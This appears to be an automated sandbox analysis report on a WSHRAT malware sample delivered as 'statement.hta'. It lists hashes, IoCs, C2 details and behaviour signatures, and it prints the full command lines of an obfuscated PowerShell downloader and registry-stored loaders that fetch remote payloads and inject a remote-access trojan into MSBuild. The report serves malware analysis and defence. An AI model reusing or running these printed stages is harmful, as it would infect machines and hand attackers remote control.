Analysis
- max time kernel
148s - max time network
167s - platform
windows10-2004_x64 - resource
win10v2004-20220721-en - resource tags
arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system - submitted
27/07/2022, 06:46
Static task
static1
Behavioral task
behavioral1
Sample
statement.hta
Resource
win7-20220718-en
6 signatures
150 seconds
General
- Target statement.hta
- Size 17KB
- Sample220727-hjx2psegg6
- SHA256 d1abfe186555b7b0b6dec754412e73f29f2dfae9042e7966b505a9ae10e0d099
- MD5 d928ee9998f8bf95eee928b64b1cc88a
- SHA1 4015d8d6c804b252b3f4b8046c9cadca68e8da87
- SHA512 37481fea0d37409bc32a565efdd53ac8397721c885bbcb674acf19c28ee9b2ad6ce0724a5ed54c73f449c9066f93a3f3374e01967b1033555f242ab14b6ed376
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
wshrat
C2
-
http://1.tcp.au.ngrok.io:25993
Signatures
- Blocklisted process makes network request 23 IoCs
flow pid Process 11 3932 powershell.exe 13 3932 powershell.exe 16 752 WScript.exe 18 752 WScript.exe 19 752 WScript.exe 29 752 WScript.exe 35 752 WScript.exe 36 752 WScript.exe 37 752 WScript.exe 41 752 WScript.exe 42 752 WScript.exe 43 752 WScript.exe 45 752 WScript.exe 46 752 WScript.exe 47 752 WScript.exe 49 752 WScript.exe 52 752 WScript.exe 53 752 WScript.exe 54 752 WScript.exe 55 752 WScript.exe 56 752 WScript.exe 57 752 WScript.exe 59 752 WScript.exe - Downloads MZ/PE file
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation mshta.exe Key value queried \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation WScript.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 15 ip-api.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3576 set thread context of 1312 3576 powershell.exe 91 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000_Classes\Local Settings powershell.exe - Script User-Agent 19 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 59 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 19 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 53 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 51 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 55 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 56 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 43 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 47 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 45 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 46 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 54 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 57 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 36 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 41 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 37 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 42 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 52 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 18 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland HTTP User-Agent header 35 WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3932 powershell.exe 3932 powershell.exe 4292 powershell.exe 4292 powershell.exe 3576 powershell.exe 3576 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3932 powershell.exe Token: SeDebugPrivilege 4292 powershell.exe Token: SeDebugPrivilege 3576 powershell.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2244 wrote to memory of 3932 2244 mshta.exe 82 PID 2244 wrote to memory of 3932 2244 mshta.exe 82 PID 2244 wrote to memory of 3932 2244 mshta.exe 82 PID 3932 wrote to memory of 752 3932 powershell.exe 84 PID 3932 wrote to memory of 752 3932 powershell.exe 84 PID 3932 wrote to memory of 752 3932 powershell.exe 84 PID 752 wrote to memory of 4292 752 WScript.exe 87 PID 752 wrote to memory of 4292 752 WScript.exe 87 PID 752 wrote to memory of 4292 752 WScript.exe 87 PID 752 wrote to memory of 3576 752 WScript.exe 89 PID 752 wrote to memory of 3576 752 WScript.exe 89 PID 752 wrote to memory of 3576 752 WScript.exe 89 PID 3576 wrote to memory of 1312 3576 powershell.exe 91 PID 3576 wrote to memory of 1312 3576 powershell.exe 91 PID 3576 wrote to memory of 1312 3576 powershell.exe 91 PID 3576 wrote to memory of 1312 3576 powershell.exe 91 PID 3576 wrote to memory of 1312 3576 powershell.exe 91 PID 3576 wrote to memory of 1312 3576 powershell.exe 91 PID 3576 wrote to memory of 1312 3576 powershell.exe 91 PID 3576 wrote to memory of 1312 3576 powershell.exe 91
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\statement.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2244 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hGpRFzhxC($ncyQBVxuN, $bmzObKgnO){[IO.File]::WriteAllBytes($ncyQBVxuN, $bmzObKgnO)};function opPPxkiJmb($ncyQBVxuN){if($ncyQBVxuN.EndsWith((ZHhNoxjKqVIlBal @(45585,45639,45647,45647))) -eq $True){rundll32.exe $ncyQBVxuN }elseif($ncyQBVxuN.EndsWith((ZHhNoxjKqVIlBal @(45585,45651,45654,45588))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $ncyQBVxuN}else{Start-Process $ncyQBVxuN}};function qqLOwwVnMFG($hGpRFzhxC){$idjCuQLIUbnBwUgvWDV=(ZHhNoxjKqVIlBal @(45611,45644,45639,45639,45640,45649));$nbgYRvPswVZYCK=(Get-ChildItem $hGpRFzhxC -Force);$nbgYRvPswVZYCK.Attributes=$nbgYRvPswVZYCK.Attributes -bor ([IO.FileAttributes]$idjCuQLIUbnBwUgvWDV).value__};function TicTeelSktHnXfO($irjWUFuYLRsApSFCnod){$eBFqHwopwUgJLecmR = New-Object (ZHhNoxjKqVIlBal @(45617,45640,45655,45585,45626,45640,45637,45606,45647,45644,45640,45649,45655));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$bmzObKgnO = $eBFqHwopwUgJLecmR.DownloadData($irjWUFuYLRsApSFCnod);return $bmzObKgnO};function ZHhNoxjKqVIlBal($CfFfZKRBmd){$wAeqTyuBM=45539;$cBbZgQxDeHgVM=$Null;foreach($fozIjxEr in $CfFfZKRBmd){$cBbZgQxDeHgVM+=[char]($fozIjxEr-$wAeqTyuBM)};return $cBbZgQxDeHgVM};function ooVTspReNL(){$QdQJPbGZPbHmuFHjU = $env:AppData + '\';$QRJEOTllSpueGEkPzvMBz = $QdQJPbGZPbHmuFHjU + '000489-1053540002.jpg';If(Test-Path -Path $QRJEOTllSpueGEkPzvMBz){Invoke-Item $QRJEOTllSpueGEkPzvMBz;}Else{ $AloviVypPny = TicTeelSktHnXfO (ZHhNoxjKqVIlBal @(45643,45655,45655,45651,45654,45597,45586,45586,45638,45639,45649,45585,45639,45644,45654,45638,45650,45653,45639,45636,45651,45651,45585,45638,45650,45648,45586,45636,45655,45655,45636,45638,45643,45648,45640,45649,45655,45654,45586,45595,45596,45594,45588,45589,45595,45588,45590,45589,45590,45595,45595,45589,45587,45591,45592,45591,45591,45586,45588,45587,45587,45587,45596,45590,45595,45593,45590,45591,45591,45587,45593,45592,45590,45596,45589,45596,45591,45586,45587,45587,45587,45591,45595,45596,45584,45588,45587,45592,45590,45592,45591,45587,45587,45587,45589,45585,45645,45651,45642));hGpRFzhxC $QRJEOTllSpueGEkPzvMBz $AloviVypPny;Invoke-Item $QRJEOTllSpueGEkPzvMBz;};$ekjAHntag = $QdQJPbGZPbHmuFHjU + 'xix.js'; if (Test-Path -Path $ekjAHntag){opPPxkiJmb $ekjAHntag;}Else{ $VVqldlLVS = TicTeelSktHnXfO (ZHhNoxjKqVIlBal @(45643,45655,45655,45651,45654,45597,45586,45586,45643,45655,45584,45649,45636,45644,45647,45585,45639,45640,45586,45650,45651,45650,45586,45659,45644,45659,45585,45645,45654));hGpRFzhxC $ekjAHntag $VVqldlLVS;opPPxkiJmb $ekjAHntag;};qqLOwwVnMFG $ekjAHntag;;;;;}ooVTspReNL;2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\xix.js"3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:752 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4292
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mPluginC').mPluginC;$Cli555 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mRunPE').mRunPE;$Abt = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).GetType('k.k.Hackitup').GetMethod('exe').Invoke($null,[object[]] ('MSBuild.exe',[Convert]::FromBase64String($Cli444),'1.tcp.au.ngrok.io 25993 \"WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland\"'));"4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3576 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exepath 1.tcp.au.ngrok.io 25993 "WSHRAT|00B2167E|QAZKGNUX|Admin|Microsoft Windows 10 Pro|plus|nan-av|false - 27/7/2022|JavaScript-v3.4|IE:Ireland"5⤵PID:1312
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d9c5347ed06755feeb0615f1671f6b91e2718703da0dbc4b0bd205cbd2896dd4
- MD5 0774a05ce5ee4c1af7097353c9296c62
- SHA1 658ff96b111c21c39d7ad5f510fb72f9762114bb
- SHA512 104d69fc4f4aaa5070b78ada130228939c7e01436351166fe51fe2da8a02f9948e6d92dd676f62820da1813872b91411e2f863c9a98a760581ec34d4aa354994
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 19KB
- SHA256 8d4e884b00eb0d05ec225fb1cbee36f201c9bc9099e20062d6cc0ad72ccf3aa0
- MD5 e841a8d28c84fdb0b25de94925b7482f
- SHA1 12709776630838780548493cb4511aa532a92ede
- SHA512 50de68e3714177e4fec636f8e3d3ab6f6195ed56f670e8802d95a924cb0c8a8a1efb0694ea7fc48702a4ec9841e463ce32f91ee4bf179775f240247ea711ddf8
- SSDEEP 384:srf+OWN9i+vMBI4qa51/k+o9ongTVK6seYv5Gc5Yto/j83SbeiM5MXw0znypPEZF:mfiRMBDfXcjongTVNE5DDwSbbACypk0u
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 17KB
- SHA256 d7e7ca9b1e9586bbaee62ccd44a62d984666b87816e1c9a354961fba111591f2
- MD5 0b1035dc048b009543e464f9d19a90e5
- SHA1 4503f8b9f9638b0a2d1eadba25d65c76294c3559
- SHA512 3f54dd3fe95e06bf8e98af1832fbd7e0cb36d1fc048416ac446bf7ef9fb3f4f125edfa900f9e39e35cd2e0f9f0f9486008f13dff5204382326ac2394a49528a6
- SSDEEP 384:JGrf+IWgk1mG/nSasWJHfbo9JqIAfY12FAiSqu4L9rfobBU3d0dXiy:SfI3b/ts+MJ9Af9JSuBfwU32dp
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\xix.js
- Size 219KB
- SHA256 d6356866d600a2be0fc8589b1dd09b2d04c8bd1bf98699be5f1376f9d88ad4cd
- MD5 cffdd5a6b8da7a831e44c316702f379e
- SHA1 0194f262d5f22ddfc7959a68883302737b9dbf07
- SHA512 a28e62735d041f7cefc7c28dd8975f5f5e67892874350f020d7123409d21afe353cd7e86b5fae151dc3c7da4159c7d96dceadfdff7dbeaa07950cf1c635b7363
- SSDEEP 6144:LTIj4FmQ10SWmLuu/aUN6Wk6Wma+O4ab0IGr1/9:L7nfiC5NlWma79Grj
- MD5 SHA1 SHA512 SSDEEP